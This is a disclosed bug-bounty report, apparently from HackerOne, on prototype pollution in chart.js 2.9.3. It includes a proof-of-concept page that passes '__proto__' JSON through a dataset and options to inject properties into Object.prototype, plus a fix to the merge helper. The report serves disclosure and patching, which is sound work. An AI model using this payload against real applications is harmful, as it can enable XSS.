HexBrain

Node.js third-party modules · Report #776371

[chart.js] Prototype pollution

Validstatus
lowseverity
1upvotes
2 Dec 2020disclosed

How it was found

I would like to report a prototype pollution vulnerability in chart.js It allows an attacker to inject properties on Object.prototype which can for some applications lead to XSS.

Module

module name: chart.js version: 2.9.3 npm page: https://www.npmjs.com/package/chart.js

Module Description

Simple yet flexible JavaScript charting for designers & developers

Module Stats

854,171 weekly downloads

Vulnerability

Vulnerability Description

If the dataset or options passed to Chart.js contains an attacker-controlled object, Chart.js can be tricked into adding or modifying properties of the Object prototype. These properties will be present on all objects.

The payload is an object with the __proto__ property.

Steps To Reproduce:

Install chart.js 2.9.3 into node_modules and then view the following HTML page and check the log:

        <canvas id="canvas"></canvas>
        <script src="node_modules/chart.js/dist/Chart.bundle.js"></script>
        <script>
            var ctx = document.getElementById('canvas').getContext('2d');
            var chart = new Chart(ctx, {
                type: 'line',
                data: {
                    labels: ['January', 'February', 'March', 'April', 'May'],
                    datasets: [{
                        label: 'My First dataset',
                        backgroundColor: 'rgb(255, 99, 132)',
                        borderColor: 'rgb(255, 99, 132)',
                        data: [0, 10, 5, 2, 20]
                    },
                    JSON.parse(`{"__proto__": {"abc": "Injected value through dataset"}}`)
                    ]
                },
                options: JSON.parse(`{"__proto__": {"def": "Injected value through options"}}`)
            });
            console.log({}.abc); // Print "Injected value through dataset"
            console.log({}.def); // Print "Injected value through options"
        </script>

Patch

Avoid recursively merging properties that aren't already own properties of the target object:

diff --git a/src/helpers/helpers.core.js b/src/helpers/helpers.core.js
index 100d4edf..b5127025 100644
--- a/src/helpers/helpers.core.js
+++ b/src/helpers/helpers.core.js
@@ -226,7 +226,7 @@ export function _merger(key, target, source, options) {
 	var tval = target[key];
 	var sval = source[key];

-	if (isObject(tval) && isObject(sval)) {
+	if (Object.prototype.hasOwnProperty.call(target, key) && isObject(tval) && isObject(sval)) {
 		// eslint-disable-next-line no-use-before-define
 		merge(tval, sval, options);
 	} else {

Supporting Material/References:

Tested Chart.js 2.9.3 in Chrome 79

Wrap up

  • I contacted the maintainer to let them know: N
  • I opened an issue in the related repository: N

Impact

Inject properties on Object.prototype which can for some applications lead to XSS.

This report was disclosed publicly on HackerOne and belongs to its author and the program. See the original